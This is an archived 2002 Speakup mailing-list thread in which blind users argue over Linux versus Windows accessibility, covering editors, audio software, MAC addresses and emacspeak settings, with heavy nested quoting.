> > On Sun, May 19, 2002 at 12:49:52AM -0400, Janina Sajka wrote:
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > > 
> > > > If you know a good text editor under Linux please tell me.
> > > 
> > > emacs and/or vim. You'll never need anything else. So, learn them
> > > or go back toWindows.
> > > 
> > > > Well, under Windows, you don't need to remember anything at all.
> > > 
> > > That's not true. What is your card's mac address? Go ahead. Find
> > > it.
> > > Then tell us you don't need to remember anything.
> > > 
> > > > You open a window, and it explains you what you should do there.
> > > > You have to press the space bar to check some checkboxes, to press some
> > > > buttons, etc, and if you don't know something, press shift+f10 (or the right
> > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > wich is much much more easier to navigate than the man pages under Linux.
> > > > 
> > > > Thanks.
> > > > Teddy,
> > > > orasnita@home.ro
> > > > 
> > > > ----- Original Message -----
> > > > From: "Janina Sajka" <janina@afb.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 6:14 AM
> > > > Subject: Re: interesting experiment.
> > > > 
> > > > 
> > > > OK, let's take this one question at a time ...
> > > > 
> > > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > > > 
> > > > > Are there any games accessible for the blind under Linux, like under
> > > > > Windows?
> > > > > Please tell me some web addresses.
> > > > 
> > > > I was with you until you said "like Windows." I have no idea
> > > > about Windows. I know nothing about it.
> > > > 
> > > > But, if you want games, you can find them. Maybe they're better,
> > > > maybe not. But they're out there. Emacs comes with games, and
> > > > some are speech enabled by emacspeak. The only game I really know
> > > > much about is gnu chess which can be obtained from
> > > > http://www.gnu.org.
> > > > 
> > > > I'm generally too interested in things to play games on my
> > > > computer. Last thing I'm likely to do, so I'm out of knowledge
> > > > here.
> > > > 
> > > > > Are there any good sound editing programs for Linux, like Sound Forge,
> > > > Cool
> > > > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > > > Walk?
> > > > 
> > > > 
> > > > There's ecasound and sox. Very accessible. And there's
> > > > gramophone. I recently came across a java midi patch editor, but
> > > > I haven't had the time to get it working yet to find out about
> > > > its accessibility. Admitedly, these are less functional than the
> > > > Windows apps you mention for many tasks. Is this what you do? Or
> > > > are these academic questions?
> > > > 
> > > > > Is there a text editor, that has macro features, Regular expressions, the
> > > > > ability to save in Windows/Mac/Unix format, etc?
> > > > 
> > > > What is Mac format? I've never heard of that. And what is Windows
> > > > format?
> > > > And, why would you care?
> > > > 
> > > > Is there powerful text editing, formatting, scripting? Of course
> > > > there is. Far more powerful than in Windows or Mac. There are
> > > > probably too many to mention, actually. Linux/Unix has the
> > > > proprietary world beat hands down on this one.
> > > > 
> > > > Those format questions are themselves silly. You don't need them.
> > > > You certainly don't need them to communicate with anyone, or to
> > > > print out lovely reports, or design lovely e-content for on line
> > > > publishing, etc.
> > > > 
> > > > In fact, you do better to forget them and use the superior tools
> > > > available on Linux.
> > > > 
> > > > >
> > > > > ... Just a few things that camed to mind.
> > > > >
> > > > > A lot of things are accessible, but ... harder to learn, harder to
> > > > configure
> > > > > and harder to use, if I am not so bright to remember 1000 command line
> > > > > parameters.
> > > > 
> > > > Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> > > > How do you remember where to tell windows to show extensions to
> > > > files, for example. Or how about finding your ethernet card's mac
> > > > address. Do you remember that? I could go on. This is another
> > > > bogus argument.
> > > > 
> > > > But, if you think the gui is actually superior, you're going to
> > > > lose this excuse soon enough. GNOME is coming. What sad song are
> > > > you going to sing then?
> > > > 
> > > > >
> > > > > Thank you for the links.
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > >
> > > > > ----- Original Message -----
> > > > > From: "Janina Sajka" <janina@afb.net>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Saturday, May 18, 2002 9:59 PM
> > > > > Subject: Re: interesting experiment.
> > > > >
> > > > >
> > > > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > > > I just wish Linux were
> > > > > > a more viable general purpose workstation; I use Windows for that
> > > > purpose.
> > > > > >
> > > > > Hi, Darrell:
> > > > >
> > > > > Just wondering what you think is missing from Linux' desktop
> > > > > applications.
> > > > >
> > > > > In case this sounds loaded, it might be. The underlying question
> > > > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > > > For my own experience in this matter, I've found it's my
> > > > > knowledge deficit almost without exception.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > --------------------------------------------------------------------------
> > > > --
> > > > > ----
> > > > >
> > > > >
> > > > >
> > > > > ---
> > > > > Outgoing mail is certified Virus Free.
> > > > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > 
> > > > --
> > > > 
> > > > Janina Sajka, Director
> > > > Technology Research and Development
> > > > Governmental Relations Group
> > > > American Foundation for the Blind (AFB)
> > > > 
> > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > 
> > > > Chair, Accessibility SIG
> > > > Open Electronic Book Forum (OEBF)
> > > > http://www.openebook.org
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > 
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > 
> > > 
> > > -- 
> > > 	
> > > 				Janina Sajka, Director
> > > 				Technology Research and Development
> > > 				Governmental Relations Group
> > > 				American Foundation for the Blind (AFB)
> > > 
> > > Email: janina@afb.net		Phone: (202) 408-8175
> > > 
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> 

Re: interesting experiment.

[Toby Fisher]

On Sun, 19 May 2002, Janina Sajka wrote:

> Here's another one.
>
> Can one yet get a readable report on installed hardware under
> Windows?

Actually, to be fair, one can, and has done for at least a couple of years
now.  I've used it to do such things as compile a hardware list to ease my
transition to Linux, and also to turn off the glide mouse thingy on my
laptop, you know, the thing that uses your finger, sleeveor whatever comes
into contact with the pad as a pointer, and whose left and right buttons
(yes, I know, why two buttons?) are in just the place where they're likely
to get pressed when you least want/need.

 > As I recall, there's such a
thing, but it writes a graphical > file. Not at all as friendly as dmesg.

I'll agree with you about dmesg, much nicer.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Janina Sajka]

Toby:

You're saying you can get a text file about hw from Win? That's
imporvement over the last time I tried such a thing. Do you know
where, exactly, per chance? Perhaps I should add the datum to the
Speakup Modified HOWTO.

The one I remember was on Control Panel \ System \ Device Manager
something or other. But, I don't recall its output being
accessible.

On Sun, 19 May 2002, Toby Fisher wrote:

> On Sun, 19 May 2002, Janina Sajka wrote:
> 
> > Here's another one.
> >
> > Can one yet get a readable report on installed hardware under
> > Windows?
> 
> Actually, to be fair, one can, and has done for at least a couple of years
> now.  I've used it to do such things as compile a hardware list to ease my
> transition to Linux, and also to turn off the glide mouse thingy on my
> laptop, you know, the thing that uses your finger, sleeveor whatever comes
> into contact with the pad as a pointer, and whose left and right buttons
> (yes, I know, why two buttons?) are in just the place where they're likely
> to get pressed when you least want/need.
> 
>  > As I recall, there's such a
> thing, but it writes a graphical > file. Not at all as friendly as dmesg.
> 
> I'll agree with you about dmesg, much nicer.
> 
> Cheers.
> 
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Hey, Ed:

You mean one has to remember a command in Windows? <evil grin>


On Sun, 19 May 2002, Ed Barnes wrote:

> Hi Janina.
> If anyone really cares to know I'll take ifconfig, ifconfig eth0, or 
> ifconfig eth1 for example over ipconfig /all or winipcfg /all any day. 
> Also, as a somewhat related note, wonder why when you look at ipconfig 
> or winipcfg on windows it calls the mac the physical address, it'd be 
> better to refer to it in the way that Linux does in my humble opinion.
> Jmo.
> 
> Ed Barnes
> E-mail edbarnes@anomaly.2y.net or ebarnes1@warp.nfld.net
> Ph (home) 709-596-3165 or (cell) 709-683-6085
> http://anomaly.2y.net
> "Money will buy you a pretty good dog, but it won't buy the wag of his 
> tail." --- unknown
> 
> On 
> Sun, 19 May 2002, Janina Sajka wrote:
> 
> > I just supplied my 802.11b card's mac address to our headquarters
> > IT Dept so they can add me to the table of allowed connections.
> > 
> > I had a DSL provider a few years ago that had the same
> > requirement.
> > 
> > So glad it's easier to get this data under Linux. Of course, the
> > Win screen readers may be doing a better job of the screen that
> > gives the mac address under Windows. I don't know because I
> > haven't tried it in a few years. It used to be very hard to get
> > at.
> > 
> > 
> > On Sun, 19 May 2002, Gregory Nowak wrote:
> > 
> > > Ok, why would one need to know their nic's mac address under windows 9x?
> > > I've never had to, and I used windblows extensively for a good while.
> > > Greg
> > > 
> > > 
> > > On Sun, May 19, 2002 at 12:49:52AM -0400, Janina Sajka wrote:
> > > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > > > 
> > > > > If you know a good text editor under Linux please tell me.
> > > > 
> > > > emacs and/or vim. You'll never need anything else. So, learn them
> > > > or go back toWindows.
> > > > 
> > > > > Well, under Windows, you don't need to remember anything at all.
> > > > 
> > > > That's not true. What is your card's mac address? Go ahead. Find
> > > > it.
> > > > Then tell us you don't need to remember anything.
> > > > 
> > > > > You open a window, and it explains you what you should do there.
> > > > > You have to press the space bar to check some checkboxes, to press some
> > > > > buttons, etc, and if you don't know something, press shift+f10 (or the right
> > > > > mouse button and choose "what's this?" or press F1 to view the help file
> > > > > wich is much much more easier to navigate than the man pages under Linux.
> > > > > 
> > > > > Thanks.
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > > 
> > > > > ----- Original Message -----
> > > > > From: "Janina Sajka" <janina@afb.net>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Sunday, May 19, 2002 6:14 AM
> > > > > Subject: Re: interesting experiment.
> > > > > 
> > > > > 
> > > > > OK, let's take this one question at a time ...
> > > > > 
> > > > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > > > > 
> > > > > > Are there any games accessible for the blind under Linux, like under
> > > > > > Windows?
> > > > > > Please tell me some web addresses.
> > > > > 
> > > > > I was with you until you said "like Windows." I have no idea
> > > > > about Windows. I know nothing about it.
> > > > > 
> > > > > But, if you want games, you can find them. Maybe they're better,
> > > > > maybe not. But they're out there. Emacs comes with games, and
> > > > > some are speech enabled by emacspeak. The only game I really know
> > > > > much about is gnu chess which can be obtained from
> > > > > http://www.gnu.org.
> > > > > 
> > > > > I'm generally too interested in things to play games on my
> > > > > computer. Last thing I'm likely to do, so I'm out of knowledge
> > > > > here.
> > > > > 
> > > > > > Are there any good sound editing programs for Linux, like Sound Forge,
> > > > > Cool
> > > > > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > > > > Walk?
> > > > > 
> > > > > 
> > > > > There's ecasound and sox. Very accessible. And there's
> > > > > gramophone. I recently came across a java midi patch editor, but
> > > > > I haven't had the time to get it working yet to find out about
> > > > > its accessibility. Admitedly, these are less functional than the
> > > > > Windows apps you mention for many tasks. Is this what you do? Or
> > > > > are these academic questions?
> > > > > 
> > > > > > Is there a text editor, that has macro features, Regular expressions, the
> > > > > > ability to save in Windows/Mac/Unix format, etc?
> > > > > 
> > > > > What is Mac format? I've never heard of that. And what is Windows
> > > > > format?
> > > > > And, why would you care?
> > > > > 
> > > > > Is there powerful text editing, formatting, scripting? Of course
> > > > > there is. Far more powerful than in Windows or Mac. There are
> > > > > probably too many to mention, actually. Linux/Unix has the
> > > > > proprietary world beat hands down on this one.
> > > > > 
> > > > > Those format questions are themselves silly. You don't need them.
> > > > > You certainly don't need them to communicate with anyone, or to
> > > > > print out lovely reports, or design lovely e-content for on line
> > > > > publishing, etc.
> > > > > 
> > > > > In fact, you do better to forget them and use the superior tools
> > > > > available on Linux.
> > > > > 
> > > > > >
> > > > > > ... Just a few things that camed to mind.
> > > > > >
> > > > > > A lot of things are accessible, but ... harder to learn, harder to
> > > > > configure
> > > > > > and harder to use, if I am not so bright to remember 1000 command line
> > > > > > parameters.
> > > > > 
> > > > > Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> > > > > How do you remember where to tell windows to show extensions to
> > > > > files, for example. Or how about finding your ethernet card's mac
> > > > > address. Do you remember that? I could go on. This is another
> > > > > bogus argument.
> > > > > 
> > > > > But, if you think the gui is actually superior, you're going to
> > > > > lose this excuse soon enough. GNOME is coming. What sad song are
> > > > > you going to sing then?
> > > > > 
> > > > > >
> > > > > > Thank you for the links.
> > > > > > Teddy,
> > > > > > orasnita@home.ro
> > > > > >
> > > > > > ----- Original Message -----
> > > > > > From: "Janina Sajka" <janina@afb.net>
> > > > > > To: <speakup@braille.uwo.ca>
> > > > > > Sent: Saturday, May 18, 2002 9:59 PM
> > > > > > Subject: Re: interesting experiment.
> > > > > >
> > > > > >
> > > > > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > > > > I just wish Linux were
> > > > > > > a more viable general purpose workstation; I use Windows for that
> > > > > purpose.
> > > > > > >
> > > > > > Hi, Darrell:
> > > > > >
> > > > > > Just wondering what you think is missing from Linux' desktop
> > > > > > applications.
> > > > > >
> > > > > > In case this sounds loaded, it might be. The underlying question
> > > > > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > > > > For my own experience in this matter, I've found it's my
> > > > > > knowledge deficit almost without exception.
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > > --------------------------------------------------------------------------
> > > > > --
> > > > > > ----
> > > > > >
> > > > > >
> > > > > >
> > > > > > ---
> > > > > > Outgoing mail is certified Virus Free.
> > > > > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > > > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > > > > >
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > >
> > > > > 
> > > > > --
> > > > > 
> > > > > Janina Sajka, Director
> > > > > Technology Research and Development
> > > > > Governmental Relations Group
> > > > > American Foundation for the Blind (AFB)
> > > > > 
> > > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > > 
> > > > > Chair, Accessibility SIG
> > > > > Open Electronic Book Forum (OEBF)
> > > > > http://www.openebook.org
> > > > > 
> > > > > 
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > 
> > > > > 
> > > > > 
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > 
> > > > 
> > > > -- 
> > > > 	
> > > > 				Janina Sajka, Director
> > > > 				Technology Research and Development
> > > > 				Governmental Relations Group
> > > > 				American Foundation for the Blind (AFB)
> > > > 
> > > > Email: janina@afb.net		Phone: (202) 408-8175
> > > > 
> > > > Chair, Accessibility SIG
> > > > Open Electronic Book Forum (OEBF)
> > > > http://www.openebook.org
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > 
> > 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Rich Caloggero]

Yes, I must second on the music stuff. The only reason I use windows and
Jaws is that it gives me access to cakeWalk, a very powerful (and mostly
accessible) music sequencing and audio editing environment. Writing such a
beast is very difficult, nontrivial, very f*cking hard, and takes many human
years to accomplish.
To be fair, some of this difficulty may have to do with its reliance on
Windows and its very ugly GUI programming (yes, its as ugly to develope
under as it is to use), and some of the complexity may have to do with its
ability to deal with music notation, but its still a nontrivial task to
write such a beast. My feeling is that a console based sequencing and audio
package like cakeWalk won't ever be created, because sighted people want to
use a GUI. When gnome comes on-line for us, we may have more options in this
regard. I've heard of mixers and effects processors which are x-windows
based, but I'm not sure how well they work. I think there is a sequencer or
two as well for the X environment. The question is, are any of these as good
as cakeWalk? CakeWalk is a professional quality product in every way. The
only thing nonprofessional about it is Windows!

There is someone (Frank Carmichael, I believe) who has been working on the
audio piece of this, so maybe he can chime in on this and tell me how *wrong
I am*! <smile>

There is no way to create music the way I do without this program! It sux,
but its unfortunately the case.

                    Rich

----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: 18 May, 2002 8:37 PM
Subject: Re: interesting experiment.


Are there any games accessible for the blind under Linux, like under
Windows?
Please tell me some web addresses.
Are there any good sound editing programs for Linux, like Sound Forge, Cool
Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake Walk?

Is there a text editor, that has macro features, Regular expressions, the
ability to save in Windows/Mac/Unix format, etc?

... Just a few things that camed to mind.

A lot of things are accessible, but ... harder to learn, harder to configure
and harder to use, if I am not so bright to remember 1000 command line
parameters.

Thank you for the links.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 9:59 PM
Subject: Re: interesting experiment.


On Sat, 18 May 2002, Darrell Shandrow wrote:
> I just wish Linux were
> a more viable general purpose workstation; I use Windows for that purpose.
>
Hi, Darrell:

Just wondering what you think is missing from Linux' desktop
applications.

In case this sounds loaded, it might be. The underlying question
might be: Is it your knowledge deficit, or is it Linux itself?
For my own experience in this matter, I've found it's my
knowledge deficit almost without exception.




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Checked by AVG anti-virus system (http://www.grisoft.com).
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Subject Lines

[Rich Caloggero]

I don't usually gripe about this, but try and keep subject lines pertinent.

Thanx.

                    Rich

----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: 18 May, 2002 11:59 PM
Subject: Re: interesting experiment.


Hi, thanks.

If you know a good text editor under Linux please tell me.
I really need one, but I couldn't find one better than pico.
I need it for editing Perl programs, not a word processor.

Well, under Windows, you don't need to remember anything at all.
You open a window, and it explains you what you should do there.
You have to press the space bar to check some checkboxes, to press some
buttons, etc, and if you don't know something, press shift+f10 (or the right
mouse button and choose "what's this?" or press F1 to view the help file
wich is much much more easier to navigate than the man pages under Linux.

Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 6:14 AM
Subject: Re: interesting experiment.


OK, let's take this one question at a time ...

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Are there any games accessible for the blind under Linux, like under
> Windows?
> Please tell me some web addresses.

I was with you until you said "like Windows." I have no idea
about Windows. I know nothing about it.

But, if you want games, you can find them. Maybe they're better,
maybe not. But they're out there. Emacs comes with games, and
some are speech enabled by emacspeak. The only game I really know
much about is gnu chess which can be obtained from
http://www.gnu.org.

I'm generally too interested in things to play games on my
computer. Last thing I'm likely to do, so I'm out of knowledge
here.

> Are there any good sound editing programs for Linux, like Sound Forge,
Cool
> Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
Walk?


There's ecasound and sox. Very accessible. And there's
gramophone. I recently came across a java midi patch editor, but
I haven't had the time to get it working yet to find out about
its accessibility. Admitedly, these are less functional than the
Windows apps you mention for many tasks. Is this what you do? Or
are these academic questions?

> Is there a text editor, that has macro features, Regular expressions, the
> ability to save in Windows/Mac/Unix format, etc?

What is Mac format? I've never heard of that. And what is Windows
format?
And, why would you care?

Is there powerful text editing, formatting, scripting? Of course
there is. Far more powerful than in Windows or Mac. There are
probably too many to mention, actually. Linux/Unix has the
proprietary world beat hands down on this one.

Those format questions are themselves silly. You don't need them.
You certainly don't need them to communicate with anyone, or to
print out lovely reports, or design lovely e-content for on line
publishing, etc.

In fact, you do better to forget them and use the superior tools
available on Linux.

>
> ... Just a few things that camed to mind.
>
> A lot of things are accessible, but ... harder to learn, harder to
configure
> and harder to use, if I am not so bright to remember 1000 command line
> parameters.

Give me a break. Grow up. How do you remember 1,000 dialog boxes.
How do you remember where to tell windows to show extensions to
files, for example. Or how about finding your ethernet card's mac
address. Do you remember that? I could go on. This is another
bogus argument.

But, if you think the gui is actually superior, you're going to
lose this excuse soon enough. GNOME is coming. What sad song are
you going to sing then?

>
> Thank you for the links.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 9:59 PM
> Subject: Re: interesting experiment.
>
>
> On Sat, 18 May 2002, Darrell Shandrow wrote:
> > I just wish Linux were
> > a more viable general purpose workstation; I use Windows for that
purpose.
> >
> Hi, Darrell:
>
> Just wondering what you think is missing from Linux' desktop
> applications.
>
> In case this sounds loaded, it might be. The underlying question
> might be: Is it your knowledge deficit, or is it Linux itself?
> For my own experience in this matter, I've found it's my
> knowledge deficit almost without exception.
>
>
>
>
> --------------------------------------------------------------------------
--
> ----
>
>
>
> ---
> Outgoing mail is certified Virus Free.
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Why Windows?

[Rich Caloggero]

OK, I think windows exists for sighted people. I think that blind people
need to use windows if they are doing sys-admin or other tasks which require
them to interact with windows, or dare I say, help a sighted person use
their friendly little crash-prone boxes! <smile> I often think that the
reason windows is so unstable is to keep us sys-admins employed!
Hehehehehahahahe!

Actually, I heard an interesting windblows tidbit the other day. In windows
3.1, there was a concept called Object Linking and Embeding (OLE). It allows
one to put, say, a sound file within a spreadsheet, and embed all that
within something else. In fact, this is what XML does for you, but those
were the days long before XML. Anyhow, they were also the days before the
internet became widely popular. The problem was that OLE was not at all
secure. When the internet became more widely used, and malware began to
spread, people realized that this stuff was very insecure. So Microsoft
began building layer on top of layer to try and address these issues. By the
time the security problems were becomign more widely exployted, Microsoft
had traveled too far down the OLE path, and could not give it up. I forget
what all the crap on top of OLE was called, but the dot net stuff is merely
another layer on top of the broken OLE, so Microsoft security issues will
forever be rearing their ugly heads, and Microslop will have to patch every
single one of them!! Hahahahehehehehehaha!

                    Rich

----- Original Message -----
From: "Deedra Waters" <curi0315@tampabay.rr.com>
To: <speakup@braille.uwo.ca>
Sent: 19 May, 2002 1:24 AM
Subject: Re: interesting experiment.


I think honestly that if beginners have an easy start it may help some in
the long run. I honestly think that there are some people who want to
learn but are having a hard time in which case, helping them can be
useful.

I'm bad at sitting and reading manpage after manpage trying to find
things, and I was even worse at the beginning. I had a great deal of help
in the beginning, and there was a lot I  didn't understand.

I'm not really sure where I'm going with this accept to say that there are
people who have a real hard time by just reading, and helping them, or
trying to walk them threw some things  doesn't always mean that they need
to be spoonfead


On Sun, 19 May 2002, Toby Fisher wrote:

> On Sun, 19 May 2002, Octavian Rasnita wrote:
>
> > Hi, thank you.
> > No, I don't like Windows. I don't use to play games because I don't have
the
> > time.
>
> Oh now you don't know what you're missing, I can recommend GMA Games for
> one, for a bit of light relief.
>
> <snip>
>
> > But I also don't like to see a lot of people from this list, nor
> from any
> > list, thinking that Linux is better than Windows.
>
> Actually, if you look carefully at most of what you view to be
> anti-Windows comments, they are, in the main, aimed at the company that
> spawned it.
>
> > Windows is better than Linux for multimedia development but Macintosh is
> > even better than Windows  for this thing.
> >
> > Some Unix graphic stations are better probably than Macintosh for their
> > purpose.
>
> Yes, but until very recently Macintosh had a problem with expensive
> hardware, for example, on some power macs there was only 1 make of modem
> you could use because of the connection it required; guess what, they're
> not made any more so my friend is going to have to buy a new computer,
> this is, imho, a potential problem which can arise when hardware and
> software are made by the same company, as used to happen back in the big
> mainframe days.
>
> <snip>
>
> > I like the Linux users to be a kind of helpful community, because
> they are
> > not very many, especially blind, but all the experimented people in
linux
> > give the beginners criptical commands without explaining too much, RTFM,
> > etc.
>
> I believe that there are reasons for this.
>
> First, what that person may want is a means to get up and running as
> hasle-free as possible.  Second, explanation of the command may, and note
> I use the word may, cause confusion, until the person has read some docs,
> which they may be unable to do due to whatever problem it is that has
> caused them to write to the list.
>
> Third, it does not help anyone, least of all the beginner, if they are
> spoon-fed, as they may then be unable to help themselves if they are ever
> stuck without an internet connection, or otherwise unable to call on
> required assistance.
>
> Cheers.
>
> --
> Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
>    See http://www.fsf.org/philosophy/no-word-attachments.html
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Kerry Hoath]

The MAC address is required to diagnose certain network related problems
such as bad switches, faulty dhcp implementations from certain vendors,
network jabbers, broadcast storms, packet tracing and a host
of other uses.
Watching your network for arp trafic with tcpdump can tell you if your
windows box has come up onto the network and if the NIC is working.
Knowing which machine you are looking for on a multi-pc network means knowing the mac address
especially if there is an ip address conflict.
Compound your problems by having a corrupted dhcp lease database under NT or 2 machines
set to the same ip 1 dhcp 1 not, and you'd like to know which
machine is where.
MAC addresses are unique, and many organizations use the MAC address to track where
their computers (or the network cards in said computers) are.
Tracking a MAC address can tell you which segment on a switch a machine is on, and
on complicated setups you can dump the MAC table to debug 802.1
bridging problems.
It is conceivable that on your home network you have personally
never neded to know the MAC address of your windows box,
and that is fare enough.
I have debugged network problems in seconds with knowledge, a few MAC addresses
and a packet sniffer that have baffled others for weeks.
Maybe I am becoming disalusioned, but it seems so many people these days have
no desire to know how things work, I mean really work.
If you understand how things work,
it is far easier to fix problems.
My underlying knowledge of ethernet makes solving most networking problems a snap.

Regards, Kerry.
On Sun, May 19, 2002 at 12:12:20AM -0500, Gregory Nowak wrote:
> Ok, why would one need to know their nic's mac address under windows 9x?
> I've never had to, and I used windblows extensively for a good while.
> Greg
> 
> 
> On Sun, May 19, 2002 at 12:49:52AM -0400, Janina Sajka wrote:
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > 

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

emacspeak

[brian Moore]

HI all, I am primarily a speakup user on my linux system, however,
yesterday, I was able to get emacspeak and via voice to actually work
on my rh 7.3 system and would like to give this thing a really good
try.  I suspect there is a list for it but don't know where.

also, does anyone have any quick pointers to docs I can read or
something to get familiar with using it and what things I may need to
install to try mail, web browsing etc?   also, one urgent question.
the default speech rate is intolerabally slow.  I thought I could do it
with control e and then I think f1 but couldn't get it to happen.
would like to get that changed asap because reading at that speed
drives me mad.

thanks.  Brian.

Re: emacspeak

[Saqib Shaikh]

Hi Brian,

First of all there is an Emacspeak list. As for reading, there is the
Emacspeak guide, and tutorial. All of this is available at
emacspeak.sourceforge.net.

As a quick answer to the rate question - you need to do c-e d r. You can
make this apply to all buffers rather than just the current buffer by doing
c-u c-e d r.

Saqib
----- Original Message -----
From: "brian Moore" <admin@bmoore.yi.org>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 11:51 AM
Subject: emacspeak


> HI all, I am primarily a speakup user on my linux system, however,
> yesterday, I was able to get emacspeak and via voice to actually work
> on my rh 7.3 system and would like to give this thing a really good
> try.  I suspect there is a list for it but don't know where.
>
> also, does anyone have any quick pointers to docs I can read or
> something to get familiar with using it and what things I may need to
> install to try mail, web browsing etc?   also, one urgent question.
> the default speech rate is intolerabally slow.  I thought I could do it
> with control e and then I think f1 but couldn't get it to happen.
> would like to get that changed asap because reading at that speed
> drives me mad.
>
> thanks.  Brian.
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Ann Parsons]

Hi all,

